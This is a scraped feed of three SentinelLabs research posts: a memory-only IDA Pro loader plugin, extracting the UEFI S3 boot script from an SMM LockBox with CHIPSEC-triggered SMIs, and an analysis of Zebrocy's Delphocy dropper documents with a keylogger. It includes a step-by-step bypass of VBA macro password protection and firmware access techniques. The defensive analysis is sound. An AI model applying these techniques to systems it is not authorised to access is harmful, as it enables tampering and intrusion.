There are new articles available, click to refresh the page.
Before yesterdaySentinelLabs

Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin

25 March 2021 at 11:26

Recent events have highlighted the fact that security researchers are high value targets for threat actors, and given that we deal with malware samples day in and day out, the possibility of either an accidental or intentional compromise is something we all have to take extra precautions to prevent.

Most security researchers will have some kind of AV installed such that downloading a malicious file should trigger a static detection when it is written to disk, but that raises two problems. If the researcher is actively investigating a sample and the AV throws a static detection, this can hamper the very work the researcher is employed to do. Second, it’s good practice not to put known malicious files on your PC: you just might execute them by mistake and/or make your machine “dirty” (in terms of IOCs found on your machine).

One solution to this problem would be to avoid writing samples to disk. As malware reverse engineers, we have to load malware, shellcode and assorted binaries into IDA on a daily basis. After a suggestion from our team member Kasif Dekel, we decided to tackle this problem by creating an IDA plugin that loads a binary into IDA without writing it to disk. We have made this plugin publicly available for other researchers to use. In this post, we’ll describe our Memory Loader plugin’s features, installation and usage.

Memory Loader Plugin

If you have not used IDA Pro plugins before, a plugin basically takes IDA Pro database functionality and extends it. For example, a plugin can take all function entry points and mark them in the graph in red, making it easier to spot them. The plugin feature runs after the IDA database is initialized, meaning there is already a binary loaded into the database. A loader loads a binary into the IDA database.

Our Memory Loader plugin offers several advanced features to the malware analyst. These include loading files from a memory buffer (any source), loading files from zip files (encrypted/unencrypted), and loading files from a URL. Let’s take a look at each in turn.

Loading Files From a Memory Buffer

This plugin offers a library called Memory Loader that anyone can use to extend further the loading capability of IDA Pro to load files from a memory buffer from any source.

MemoryLoader is the base memory loader, a DLL executable, where the memory loading capabilities are stored. Its main functionally is to take a buffer of bytes from a memory buffer and load it into IDA with the appropriate loading scheme.

You will then have an IDA database file and be able to reverse engineer the file just as if it were loaded from the disk but without the attendant risks that come with saving malware to your local drive.

After you’ve analyzed the binary, save your work and close IDA Pro. The temporary IDA db files will be deleted and you will be left with your IDA database file and no binary on the disk.

Loading Files From a Zip/Encrypted Zip

MemZipLoader is able to load both encrypted and plain ZIP files into memory without writing the file to the disk. The loader accepts specific zip format files (.zip). After accepting a zip file, it will display the zip files and allow you to choose the file you want to work with.

MemZipLoader will extract the file from the input ZIP into a memory buffer and load it into IDA without writing it to disk and storing the encrypted zip file on your drive.

Loading Files From a URL

UrlLoader makes loading a file from a URL very easy. The loader is always suggested for any file you open. After you select UrlLoader, you will be asked to enter a URL, and the file downloaded will be stored in a memory buffer.

You will be able to reverse engineer the file and make changes to the IDA database. After you close the IDA window, you will be left with only the database file.

Installation Guide (tested on IDA 7.5+)

  1. Download zip with binaries from here.
  2. Extract the zip files to a folder.
  3. Place the loaders in the loaders directory of IDA.
      1. MemoryLoader.dll -> (C:\Program Files\IDA Pro 7.5)
      2. MemoryLoader64.dll -> (C:\Program Files\IDA Pro 7.5)

  • Place the memory loader DLL in the IDA directory folder.
    1. MemZipLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    2. UrlLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    3. UrlLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
    4. MemZipLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)

How to Use MemZipLoader & UrlLoader

You can load binaries with MemZipLoader and UrlLoader as follows:


  1. Open IDA and choose zip file.
  2. IDA should automatically suggest the loader:
  3. Once selected, a list of the files from the zip will be displayed:
  4. IDA will then use the loader code and load it as if the binary was a local file on the system.


  1. Open any file on your computer in a directory you have write privileges to.
  2. The UrlLoader will suggest a file to open.
  3. After you chose UrlLoader, you will be asked enter a URL:
  4. The loader will browse to the network location you entered. Then IDA Pro will use the loader code and load the binary as if it was a local file.

Setting Up Visual Studio Development

In order to set up the plugin for Visual Studio development, follow these steps.

    1. Open a DLL project in Visual Studio
    2. An IDA loader has three key parts: the accept function, the load function and the loader definition block. Your dllmain file is the file where the loader definition will be.
    3. accept_file – this function returns a boolean if the loader is relevant to the current binary that is being loaded into IDA. For example, if you are loading a PE, the build_loaders_list should return PE.dll as one of the loading options.

load_file – this function is responsible for loading a file into the database. For each loader this function acts differently, so there is not much to say here. Documentation on loaders can be found here.

  1. The project can be compiled into two versions x64 for IDA with x64 addresses, and x64 for IDA x64 with 32 bit addresses. From this point forward we will mark them:
    1. X64 | X64 – 64 bit IDA with 64 BIT addresses
    2. X32 | X64 – 64 bit IDA with 32 BIT addresses


  • Target file name (Configuration Properties -> Target Name)
    1. X64 | X64 – $(ProjectName)64
    2. X32 | X64 – $(ProjectName)
  • Include header files: (Similar in: (X64 | x64) and( X64 | X32)
    1. Configuration Properties -> C/C++ -> Additional Include Directories – should point to the location of your IDA PRO SDK.
    2. Set Runtime Library -> Multi-threaded Debug (/MTd)
  • Include lib files:
    1. X64 | X64
      1. idasdk75\lib\x64_win_vc_64
  • X64 | X32
    1. idasdk75\lib\x64_win_vc_32
    2. idasdk75\lib\x64_win_vc_64
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Preprocessor Definitions):
    1. X64 | X64 add: __EA64__
    2. X32 | X64 add: __X64__, __NT__
  • Preprocessor Definitions (Configuration Properties -> C/C++ -> Undefined Preprocessor Definitions):
    1. X32 | X64: __EA64__
  • Conclusion

    When downloading malware to analyze from repositories like VirusTotal, the sample is usually zipped so that the endpoint security doesn’t detect it as malicious. Using our Memory Loader plugin will enable you to reverse engineer malicious binaries without writing them to the disk.

    Using the Memory Loader plugin also saves you time analyzing binaries. When working with malicious content in IDA Pro often a different environment is created for it, usually in a virtual machine. Copying the binary and setting up the machine for research every time you want to open IDA is time-expensive. The Memory Loader plugin will allow you to work from your machine in a safer and more productive way.

    Please note that a IDA professional license is needed to use and develop extensions for IDA Pro.

    The SentinelOne IDA Pro Memory Loader Plugin is available on Github.


The post Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin appeared first on SentinelLabs.

Adventures From UEFI Land: the Hunt For the S3 Boot Script

8 April 2021 at 16:10

By Assaf Carlsbad & Itai Liba

Hello and welcome back to the 4th part of our blog posts series covering various aspects of UEFI internals and exploitation. In the last three posts, we mostly covered the necessary background information to help us bootstrap our journey into UEFI land. We culminated by developing our own coverage-guided fuzzer on top of the Qiling emulation framework and AFL++ that can be used to fuzz the contents of NVRAM variables.

During the course of these three blog posts, our interaction with UEFI code was mostly mediated through software emulation (backed by the amazing Qiling engine). While very accessible and cost-effective, this blog post will explore firmware code via a slightly different approach. As such, most of our interactions will be with a live, physical system. The main motivation for this paradigm shift came from a somewhat innocent attempt to run a CHIPSEC module which goes by the name common.uefi.s3bootscript:

Figure 1 – First attempt to recover and parse the S3 boot script.

The common.uefi.s3bootscript module is in charge of locating, parsing and validating a piece of memory commonly referred to as the “S3 boot script”. In a nutshell, the S3 boot script is a data structure that lists the actions the firmware must take in order to correctly recover from the S3 sleep state. Unfortunately, at least on our own testing machine, (Lenovo ThinkPad T490) this CHIPSEC module consistently failed with a somewhat cryptic error message: “S3 Boot-Script was not found. Firmware may be using other ways to store/locate it”.

For the average security researcher, such phrasing immediately raises a series of follow-up questions, such as:

  • How exactly does CHIPSEC try to locate the boot script?
  • What are the “other ways” the firmware might be using to store it?
  • Can we find some alternative methods to extract and parse the boot script?

Like most other things in life, the motivation for answering these questions is threefold:

  • Visibility: Normally, we tend to think of the firmware as an obscure, big blackbox that provides very limited visibility to what is actually happening under the hood. Knowing exactly what the firmware is doing to recover from S3 sleep state can definitely shed some light on the subject and help us reveal the underlying implementation of some low-level components and interfaces.
  • Vulnerability hunting: Historically, naive or just plain bad implementations of the S3 boot script were subject to a myriad of attacks. Because the system is not yet fully configured by the time the boot script executes, hijacking control flow at this point in time allows attackers to disable or completely bypass certain security features offered by the platform. By knowing how to locate, extract and parse the boot script we can validate its integrity and assess its resilience against these kinds of attacks.
  • Fun: Last but not least, this can be a very interesting challenge on its own which also puts into test a lot of the knowledge that we gathered around UEFI in particular and firmware security in general.

The S3 Boot Script

Before moving on to explore some actual techniques for dumping the boot script, it’s important to take some time to understand the rationale behind it. The S3 sleep state was introduced by the ACPI standard for power management, alongside some additional low-power states labeled S1, S2 and S4. Lets go over them briefly:

  • S1 is the Standby state. This is a low-wake latency state, where no CPU or chipset context is lost.
  • S2 is currently not supported by ACPI.
  • S3 is the suspend-to-RAM state. It is similar to the S1 sleep state except that the CPU is turned off and some chips on the motherboard might be off as well. Power to main system memory, on the other hand, is retained. After the wake event, control starts from the processor’s reset vector.
  • S4 is the suspend-to-Disk state (hibernation). It is the lowest power, longest wake latency sleeping state supported by ACPI. It is usually implemented by writing an image of memory into a hibernation file before powering down. Upon resumption, the system restores its context from the saved hibernation file on disk.
Figure 2 – State diagram of the different power states defined by ACPI. All sleep states described above are grouped under the “G1 – Sleeping” cluster.

As has already been mentioned, UEFI breaks the boot process into multiple distinct phases, each with its own responsibilities and limitations. During a normal boot, the PEI phase is responsible for initializing just enough of the platform’s resources to enable the execution of the DXE phase, which is where the majority of platform configuration is performed by different DXE drivers.

Figure 3 – The PEI phase precedes the DXE phase during normal boot and enables its execution.

However, to speed up booting from S3 sleep UEFI provides a mechanism called a “boot script” that lets the S3 resume path avoid the DXE, BDS and TSL phases altogether. The boot script is created during normal boot with the intention of being consumed by the S3 resume path:

  • During a normal boot, DXE drivers record the platform’s configuration in the boot script, which is saved in NVS. The boot script is comprised out of a series of high-level “opcodes” which are to be interpreted by a boot script execution engine. These “opcodes” include reading from and writing to I/O ports, PCI devices, main memory, etc. For the complete list of supported opcodes, please refer to PiS3BootScript.h.
Figure 4 – A decoded boot script entry that writes to a PCI device (source)
  • Upon resuming from S3 a boot script engine executes the script, thereby restoring device configurations that were lost during sleep. Schematically, the relationship between the PEI phase, DXE phase and the S3 boot script can be depicted as follows:
Figure 5 – Relationship between the normal boot path, the S3 resume path and the boot script (source).

For a more thorough discussion of the S3 boot script and its role in restoring the platform’s configuration, please refer to this document.

Digging Deeper

Now that we know what the S3 boot script is all about, let’s try to get a clearer picture of what went wrong with CHIPSEC.

To do so, we’ll run a command to dump it again, this time with the --hal and -v command-line switches for augmented verbosity:

Figure 6 – Running chipsec_util.py with some extra verbosity flags reveals the root cause of the problem.

From the output of the command we can clearly see that in order to get the contents of the boot script, CHIPSEC first tries to search for an EFI variable named AcpiGlobalVariable.

The exact definition of the structure that backs up this variable can be found in AcpiVariableCompatibility.h taken from the ModernFW repository:

Figure 7 – The definition of ACPI_VARIABLE_SET_COMPATIBILITY

Taking padding into account, offset 0x18 of the structure contains the AcpiBootScriptTable member which holds the physical address of the boot script in memory. Now that we know for sure the pointer to the boot script is encapsulated inside AcpiGlobalVariable, let’s try to figure out why CHIPSEC failed to find it. To do so, we’ll run the chipec_util uefi var-find command that lets us query and probe for the presence of EFI variables:

Figure 8 – Probing for AcpiGlobalVariable

Unfortunately, it seems that for some reason CHIPSEC failed to find or query this variable altogether. After digging through some old EDK2 commits, we eventually managed to pinpoint the reason for this in a commit dating back to 2014 that removed the runtime attribute from AcpiGlobalVariable. As was mentioned in the previous blog posts, variables that don’t have the EFI_VARIABLE_RUNTIME_ACCESS attribute cannot be queried from the operating system and are only accessible for the duration of the boot process (i.e., before the boot loader calls ExitBootServices).

Now that we understand the root cause of the problem, the question is whether we can come up with some clever tricks to extract the boot script in spite of the fact that the variable that contains it is inaccessible to us. It turns out that not only is the answer to this question positive but also that we have at least two distinct ways at our disposal to do so.

Method #1: Reading AcpiGlobalVariable From an Offline Dump

By now we know that AcpiGlobalVariable doesn’t have the EFI_VARIABLE_RUNTIME_ACCESS attribute, and therefore it can’t be enumerated from the OS. Alas, these restrictions only apply to a live, running system. In other words, as long as this variable exists physically on the SPI flash there is nothing to prevent us from reading it using an offline dump of the firmware.

Given that premise, we can devise the following “algorithm” for reading the S3 boot script:

  • Dump the UEFI firmware to a file (can be done simply by running python chipsec_util.py spi dump rom.bin, and see part 1 for more details).
  • Open rom.bin in UEFITool and search for AcpiGlobalVariable. Use the ‘Body hex view’ option to read the contents of this variable and interpret the data as a little-endian pointer. This pointer should hold the physical address of the ACPI_VARIABLE_SET_COMPATIBILITY structure in memory.
Figure 9 – Reading AcpiGlobalVariable from an offline dump.
  • Feed this address into a physical memory viewer such as RW-Everything, and read the QWORD value at offset 0x18 (corresponding to the AcpiBootScriptTable member)
Figure 10 – Reading ACPI_VARIABLE_SET_COMPATIBILITY from physical memory.
  • Now, cross your fingers and pass this address as an additional argument (-a) to CHIPSEC. If all goes well, CHIPSEC should now be able to parse the boot script and scan it for any potential vulnerabilities.
Figure 11 – Manually feeding CHIPSEC the address of the boot script.

After we uncovered the boot script in physical memory this way, we tried modifying it for the sake of disabling certain security measures. However, after completing a full sleep-resume cycle, the contents of the script were “magically” restored. This strongly suggested that the pointer we obtained only points to a copy of the boot script, while the source is saved someplace else. Cr4sh probably encountered this phenomenon back in 2016, which is why he writes:

Figure 12 – The original copy of the S3 boot script is stored inside a SMM LockBox.

Now, all we have to do is understand what an SMM LockBox is and how we can extract the boot script out of it.

Method #2: Extracting the Boot Script From an SMM LockBox

As mentioned earlier, the S3 boot script is in charge of restoring the platform’s configuration to its pre-sleep state. This usually includes re-enabling and locking various security settings which were lost during sleep. Because of its sensitive and privileged nature, the boot script itself must be kept in a memory region which is guarded against malicious attempts to modify it. The main problem is that the threat vector includes not only attackers with user-mode permissions but also local attackers with kernel-mode privileges. Given that kernel-level code has full access to physical memory, how can the firmware store the boot script such that it will be tamper proof?

A Whirlwind Tour of SMM

Enter SMM. SMM, or System Management Mode, is one of the operating modes found in every Intel-compatible CPU and dates back to the old i386 days. Historically, SMM was intended to provide firmware developers with an isolated execution space where they can implement support for features such as APM (Advanced Power Management), Plug-and-Play and so on. Over the years, OEMs started shifting more and more of their proprietary code base into SMM, and the end result is that a typical firmware image usually contains a magnitude of dozens of different modules that all operate in this mode.

Figure 13 – A typical firmware image usually contains dozens of different SMM modules.

Schematically, the relationship between SMM and the other, more familiar operating modes of the CPU is usually depicted in the Intel manuals as follows:

Figure 14 – SMM and its relationships with the other operating modes of Intel CPUs.

From the figure above, some important facts about SMM can be deduced:

  • The processor transitions from its current operation mode to SMM in response to a System Management Interrupt, or SMI for short. The exact nature of these SMIs will be discussed in the next section.
  • Transition to SMM can happen from every CPU mode and is completely transparent to the operating system. That means that when an SMI is triggered, the operating system’s kernel is preempted and control is passed to a dedicated routine called the SMI handler.
  • After the SMI handler finishes servicing the interrupt, it can make the processor exit SMM and return to its previous state by executing the rsm instruction.

System Management Interrupts

A typical computer contains a plethora of different devices that are capable of generating an SMI. Still, from the perspective of any security-oriented research, the most important SMI source is the software-generated SMI. This type of SMI can be triggered synchronously by software, given it is running with ring 0 (kernel) privileges. To generate a software SMI, we take advantage of the APM chip found on virtually every Intel-compatible computer.

The software interface to the APMC consists of two I/O ports: 0xB2 and 0xB3.

  • Port 0xB3 is usually referred to as a status port, even though this description might be a bit misleading. In practice, it is used as a scratchpad register that can be written freely by software.
  • Port 0xB2, on the other hand, is the code port. Writing a single byte to this port using the outb instruction causes the APM chip to assert the SMI# pin of the processor.
Figure 15 – Under ‘Device Manager’, the APMC usually appears just as a generic ‘Motherboard resources’ device.

A common pattern to generate a software SMI using these two I/O ports is as follows: first, pass any arguments to the SMI handler by writing them to port 0xB3. Afterwards, write port 0xB2 to actually trigger an SMI. In case the firmware offers several different SMI handlers, the exact byte value written to port 0xB2 can be used to select the particular handler to invoke. This idea is demonstrated clearly in the ThinkPwn exploit by Cr4sh:

Figure 16 – Code to generate a software-based SMI.

Communicating with SMI Handlers

To facilitate easy, flexible and secure communication with SMI handlers, most UEFI implementations offer the EFI_SMM_COMMUNICATION_PROTOCOL. The main workhorse of this protocol is the Communicate() method, which basically acts as the kernel-to-SMM equivalent of a system call; being capable of invoking SMI handlers from a non-SMM context, as well as passing buffers and status codes back and forth between the two modes. In EDK2 and other firmwares built on top of it, this protocol is implemented by the SmmCommunicationCommunicate() function taken from PiSmmIpl.c:

Figure 17 – Code for SmmCommunicationCommunicate (error checks omitted for brevity)

Essentially, this routine takes care of two things:

  • First (1), it places the user-supplied buffer and size arguments into well-known locations inside the gSmmCorePrivate structure. Doing so allows the “server” side of the protocol (in SMM) to quickly find the arguments that should be passed to the SMI handler.
  • Second (2), it uses the Trigger() method of EFI_SMM_CONTROL2_PROTOCOL to generate a software SMI.

Under the hood, Trigger() does little more than writing to the two I/O ports of the APMC like we previously described:

Figure 18 – EDK2 code to trigger a SW SMI.

To distinguish between different SMI handlers, clients of the communication protocol are expected to prefix all actual data with an EFI_SMM_COMMUNICATE_HEADER structure. This structure begins with a HeaderGuid member which allows the “server” side of the protocol (in SMM) to disambiguate the message and uniquely identify the particular handler the client wishes to invoke.

Figure 19 – Header for SMM communication buffer.

Communicating with SMI handlers directly from the OS is a bit trickier but not impossible. The main hurdle is that SMM_COMMUNICATION_PROTOCOL is only available during boot time, so if we’re running code on top of an OS we have no choice but to replicate all its operations manually. The procedure for that is comprised out of the following steps:

  1. Find the GUID for the SMI handler we wish to invoke.
  2. Serialize all the arguments for this SMI as a binary buffer and prefix them with a EFI_SMM_COMMUNICATE_HEADER structure.
  3. Find the gSmmCorePrivateData structure in memory. This can be done by simply scanning physical memory pages for the smmc magic signature.
  4. Write the serialized arguments buffer to gSmmCorePrivate->CommunicationBuffer and its corresponding size to gSmmCorePrivate->BufferSize.
  5. Trigger an SMI using the APMC.

Luckily for us, we don’t have to perform all these tedious and error prone steps by hand as CHIPSEC already did most of the heavy lifting for us. The CHIPSEC command to trigger Communicate()-based SMIs goes as follows:

chipsec_util.py smi smmc <RT_code_start> <RT_code_end> <GUID> <payload_loc> <payload_file> [port]


  • <RT_code_start> <RT_code_end>: Physical address range where firmware runtime code lives. This range will be used to limit the search for the gSmmCorePrivate structure. To get this address range, boot into the UEFI shell and run the memmap command. Then, search the output for regions that are marked as RT_code and write them down.
Figure 20 – Searching for runtime code memory through the memmap command (source).
  • <GUID>: Uniquely identifying the SMI handler.
  • <payload_loc>: Address in physical memory which will hold the buffer to be conveyed to SMRAM. To avoid clashing with memory regions that are already in use, we suggest using an unused (zeroed) page taken from the RT_data region.
  • <payload_file>: A binary file containing the serialized arguments for the SMI handler.
  • <port>: Byte value that will be written to port 0xB2 when triggering the SMI. Note that by default EDK2 generates SMIs with I/O ports 0xB2 and 0xB3 both equal to zero, but this is not mandatory and in practice the firmware might choose some other value. For example, on our T490 laptop the firmware uses a value of 0xFF by default:
Figure 21 – Actual implementation for Trigger() uses a port value of 0xFF by default.


SMM code runs from a special region of physical memory called System Management RAM, or SMRAM for short. The Intel architecture coerces SMRAM to contain at least the following:

  • SMI entry point: Upon entering SMM, the CPU is put back into 16-bit execution mode with paging disabled. The SMI entry point is in charge of switching the processor back to long mode and re-enabling paging. Afterwards, it can call any handler registered by the firmware to actually handle the event.
  • SMM State Save Area: Like any other kind of interrupt, before executing the SMI handler the CPU must save its current execution so that it can be restored later on. For this purpose, SMM has a 64-KB state save area spanning addresses [SMBASE + 8000H + 7E00H] to [SMBASE + 8000H + 7FFFH]. The registers contained in the state save area are saved automatically by the CPU upon entering SMM, and are restored as part of processing the rsm instruction.
    Figure 22 – Schematic representation of SMRAM.
  • SMM code and data: The other portions of SMRAM contain the code and data that make up the various SMM modules stored in the firmware image. Besides that, additional memory is reserved to provide runtime support structures such as a call stack, a heap for dynamically allocated memory, etc.

On modern platforms, SMRAM can be found in one of several memory regions:

  • CSEG: The compatibility SMRAM segment, which spans physical addresses 0xA0000-0xBFFFF. At first glance, it seems like this address range overlaps with the MMIO range of the legacy video buffer. In the next paragraph we’ll see exactly how the memory controller handles this discrepancy.
    Figure 23 – The address range for CSEG overlaps with that of the legacy video buffer.

    To check if CSEG is enabled on your own machine, simply run the chipsec_main.py -m common.smm command and take a look at the G_SMRAME bit:

    Figure 24 – Testing whether CSEG is enabled (G_SMRAME == 1).
  • HSEG: The high SMRAM segment was introduced to let the CPU access CSEG by remapping a much higher address range: 0xFEDA0000-0xFEDBFFFF. This segment is no longer supported by modern (PCH-based) chipsets and therefore we’ll mostly ignore it.
  • TSEG: The top of main memory is the de facto standard region of SMRAM memory. To test whether or not your machine supports TSEG simply run the common.smm_dma CHIPSEC module:
    Figure 25 – Retrieving the address range for TSEG.

Each of the different SMRAM segments provides its own configuration registers for closing and locking the respective region. Once closed and locked, only attempts to access SMRAM while the CPU already executes in SMM will be forwarded to the memory controller. All other attempts to access SMRAM from a non-SMM context will be remapped by the chipset or simply discarded.

Figure 26 – Once closed, attempts to access CSEG from a non-SMM context will go to the legacy video buffer.

Because this unique access pattern is enforced by the hardware, SMRAM is an ideal place to store secrets and other confidential data which must remain protected even in the face of kernel-level attacks. To facilitate saving data into and restoring data out of SMRAM in a generic manner, modern UEFI implementations expose a special protocol called SMM LockBox.

SMM Lock Box Protocol

Essentially, SMM lock box is a boot-time protocol that lets clients save data into and restore data out of SMRAM in a generic and well-defined way. It supports 5 basic types of operations:

In EDK2 and its derived implementations, we can clearly see that SMM lock boxes are used extensively by BootScriptSave.c to seal the S3 boot script once it’s ready. Given that the boot script is saved to SMRAM by LockBoxSave, what prevents us from revealing it by calling the inverse function RestoreLockBox?

Figure 27 – The S3 boot script is saved to a SMM lock box.

Extracting the S3 Boot Script

To recap so far: our objective is to invoke RestoreLockBox with the GUID identifying the S3 boot script. Obviously, any implementation of an SMM lock box must include at least two components:

  • A “server” side, implemented in SMM and reachable via an SMI.
  • A “client” side, which takes care of serializing the arguments for the call into the communication buffer and then actually triggering the SMI.

Our main problem is that we’re running from a live operating system and thus we can’t link against the library which implements the client side of the lock box protocol. As a fallback, our best shot would be to peek into the implementation of the client-side of RestoreLockBox and hope we could mimic it using primitives which are already at our disposal. In EDK2, the client-side of the LockBox protocol is implemented in SmmLockBoxDxeLib.c. The code for RestoreLockBox goes as follows (error checks omitted):

Figure 28 – Client side of RestoreLockBox.

Logically, this code can be divided into three steps:

  1. First, the communication buffer for the SMI is retrieved. Recall that SMM_COMMUNICATION_PROTOCOL demands every message to be prefixed with an EFI_SMM_COMMUNICATE_HEADER structure, and so the code sets HeaderGuid to gEfiSmmLockBoxCommunicationGuid (2a3cfebd-27e8-4d0a-8b79-d688c2a3e1c0) and MessageLength to the size of the EFI_SMM_LOCK_BOX_PARAMETER_RESTORE structure that immediately follows the header.
  2. In step 2, the memory beyond the header is interpreted as EFI_SMM_LOCK_BOX_PARAMETER_RESTORE and then initialized as follows:
    1. Header.Command is set to 3 (EFI_SMM_LOCK_BOX_COMMAND_RESTORE)
    2. Header.DataLength is initialized to the size of the parameters structure.
    3. Guid is initialized to uniquely identify the lock box we wish to restore. In the case of the S3 boot script, it should be set to {AEA6B965-DCF5-4311-B4B8-0F12464494D2}.
    4. Buffer is set to the physical address where the contents of the lock box will be restored. From our experiments, this address must fall within the boundaries of a region that has the EFI_MEMORY_RUNTIME attribute set, otherwise the system will freeze!
    5. Length is set to indicate the number of bytes we wish to read from the lock box.
  3. Lastly, in step 3 a SW SMI is triggered by and the entire communication buffer is conveyed to SMRAM, where the server-side of EFI_SMM_LOCK_BOX_PROTOCOL will inspect it and dispatch it to the appropriate handler function.

Putting it all together, we could generate the same SMI with CHIPSEC as follows:

  1. Boot into the UEFI shell and examine the output of the memmap command. Write down the regions that have the EFI_MEMORY_RUNTIME attribute set (either RT_Code or RT_Data).
    Figure 29 – Searching for runtime memory regions in the output of the memmap command.
  2. Pick up one of the pages in the RT_Data section and designate it to hold the communication buffer. Before proceeding to the next step, make sure to use RW-Everything to verify the memory is zero initialized (as an indication it’s not currently in use).
    Figure 30 – Use RW-Everything to verify the physical page is not in use.
  3. Craft a binary file with the arguments for the restore operation and save it with an appropriate name, say s3_restore.bin. The file should look something like this:
    Figure 31 – The file containing the serialized arguments for the restore operation.

    Two things to notice about this file:

    1. The address for the restore operation is at offset 0x30 from the start of the physical page. The number 0x30 was not chosen arbitrarily, but rather it is the size of the communication buffer itself. If all goes well, the end result would be that the boot script contents will immediately follow the communication buffer in memory.
    2. Note that we initially set the number of bytes to restore to 0. Because of that, on output we expect the handler to return a failure code and overwrite this portion of the communication buffer with the actual number of bytes the boot script spans.
  4. Send an SMI to the lock box handler and observe the number of bytes required to complete the operation successfully. By examining the output buffer, we can see (in red) that the operation completed with EFI_BUFFER_TOO_SMALL (0x8000000000000005) and that the required buffer size (in orange) is 0x4000 bytes:
    Figure 32 – Probing for the actual size of the boot script.
  5. Modify the file holding the communication buffer to reflect the newly probed size:
    Figure 33 – The communication buffer is modified to reflect the actual size of the boot script.
  6. Now issue the same SMI again. This time we’re expecting EFI_SUCCESS to be returned as the status code (highlighted in red below):
    Figure 34 – The RestoreLockBox SMI returns EFI_SUCCESS.
  7. View the target address using RW-Everything:
    Figure 35 – Memory view after the successful call to RestoreLockBox.
    The memory block at offset 0x30 now begins with 0xAA, which is a pretty good indication that the structure we’re looking at is actually a valid boot script:
    Figure 36 – The start of the boot script table.
  8. Now that we have the boot script readily available, we can further analyze it to find potential misconfigurations, vulnerabilities or any other kind of firmware peculiarities. Enjoy!
Figure 37 – Decoding the boot script using the chipsec_util.py uefi s3bootscript command.


Even though initially it seemed like we bumped into a rock-solid wall, we eventually managed to find our way around the problem and extract the S3 boot script. Along the way, we also covered some important aspects related to SMM. As it turns out, throughout the years SMM has proved to be a very fruitful attack surface for firmware researchers. As such, our next posts in the series will keep exploring this direction, and hopefully we’ll be able to share with you some actual SMM vulnerabilities that we found ourselves. Until then stay safe, take care and keep on learning.

Other Posts in Our UEFI Series

Part 1: Moving From Common-Sense Knowledge About UEFI To Actually Dumping UEFI Firmware
Part 2: Moving From Manual Reverse Engineering of UEFI Modules To Dynamic Emulation of UEFI Firmware
Part 3: Moving From Dynamic Emulation of UEFI Modules To Coverage-Guided Fuzzing of UEFI Firmware

Further Reading


The post Adventures From UEFI Land: the Hunt For the S3 Boot Script appeared first on SentinelLabs.

A Deep Dive into Zebrocy’s Dropper Docs

19 April 2021 at 17:02

Contributor: Amitai Ben Shushan Ehrlich

Sofacy is an APT threat actor that’s been around since 2008 and rose to prominence with the election hacks of 2016. Better known as FancyBear or APT28, this threat actor targets governments, military, and private organizations and has been known to engage in hack-and-leak operations. In the past couple of years, Sofacy has drastically retooled and largely evaded analysts. One of the more consistent subgroups is known as Zebrocy. Their targeting appears primarily focused on former Soviet Republics and, more recently, Asia.

In March 2021, we observed a cluster of activities targeting Kazakhstan with Delphocy – malware written in Delphi and previously associated with Zebrocy. The Word documents that were observed purport to be from a Kazakhy company named Kazchrome, a mining and metal company and one of the world’s largest producers of chrome ore and ferroalloys.

In total, we found six Delphocy Word documents that appear to be related to this cluster, all of which contain the same VBA script that drops a PE. Out of the six Word documents, two appear to be authentic uploads to VirusTotal by victims originating from Kazakhstan. The uploaded files contain what appeared to be the original filenames Авансовый отчет(новый).doc and Форма докладной (служебной) записки.doc.

In this post, we take a deep dive into these samples and share some techniques other analysts can employ to reverse engineer Delphocy dropper docs. We show how researchers can bypass password-protected macros and describe both how to decompile Delphi using IDR (Interactive Delphi Reconstructor) and how to import the saved IDC file into Ghidra using dhrake’s plugin.

The results of our analysis led us to discover further Zebrocy clusters; a list of IOCs and YARA detection rules are provided to enable threat hunters to search for these and related artifacts in their environments.

Bypassing VBA Macro Password Protection

When analyzing Office documents with VBA macros, threat hunters have many different tools and techniques that do the job, but I’ve built a habit that I still use when I first started reversing malware to bypass password-protected macros manually.

  1. Open up your favorite hex editor. I use HxD.
  2. Load the Word Document.
  3. Search for the following text:
    1. CMG=
    2. GC=
    3. DPB=
  4. Add an x to each of them:
    1. CMGx=
    2. GCx=
    3. DPBx=
  5. Save the file with the changes.

When opening the Word document and viewing the macro this time, you can see the script as well as the Forms. When analyzing the function, what immediately sticks out is the ert.DataType = “bin.base64”, showing that the UserForm1 is encoded with base64.

Wininition UserForm

When selecting on UserForm1, the textbox reveals a base64 encoded string; we know this because of the function we discussed above. The next step is to copy the entire string into a file so it can be decoded.

Now we decode the binary from base64 and save it to disk as wininition.exe.

Following that, clean the headers using HxD, and then use PE-Bear to fix the sections headers to move to the next phase of the analysis.

When triaging a binary, the go-to tool is Hiew to investigate and look for clues for a deeper understanding. With wininition, I notice the Embarcadero string, which means that this binary was written in Delphi. When reversing Delphi binaries I’ve always used IDR (Interactive Delphi Reconstructor). IDR is a decompiler of executable files and dynamic libraries (DLL) written in Delphi.

Reversing Delphi Binaries with Ghidra and dhrake

When searching for the latest developments with IDR, I came across a fantastic plugin for Ghidra, a collection of scripts for reverse engineering Delphi binaires in Ghidra using IDR’s output to IDC. It was published over a year ago, but it is a gem if threat hunters are using Ghidra.

dhrake allows you to import the IDC file from IDR into Ghidra. This will import the Symbol names, function signatures and create structs for Delphi classes. This plugin extracts and applies the Delphi symbols from the IDC file, which is generated by IDR, and attempts to find cases where Ghidra has incorrectly determined the entry point of a function. If you’ve never imported a plugin to Ghidra please read this post. I’ve saved the IDC to a selected folder. I then install the plugin in Ghidra and run the script it prompts for the IDC file and then load it!

In the wininition binary, the first function WinMain has SetWindowsHookExW function, which is a hook procedure to monitor a system for certain types of events. The hook procedures low-level keyboard input events is WH_KEYBOARD_LL, which is the number 13 in the parameter. This hook is a mechanism that intercepts keystroke events. All the events are then saved to a log file to be sent to a C2.

The C2 is obfuscated using hex that can be converted to ascii:



Note: These appear to be compromised domains.


Analysis of these documents led us to find other Zebrocy clusters. As Zebrocy continues to evolve its scope, organizations must have the proper visibilities and detection capabilities to find this threat actor. We hope the techniques discussed in this post will be useful to other researchers in analyzing Delphocy dropper docs in particular, and documents with password-protected macros in general.

Indicators of Compromise

Word Documents








Yara Rules

rule apt_RU_delphocy_encStrings {
    desc = "Hex strings in Delphocy drops"
    author = "JAG-S @ SentinelLabs"
    version = "1.0"
    TLP = "White"
    last_modified = "04.09.2021"
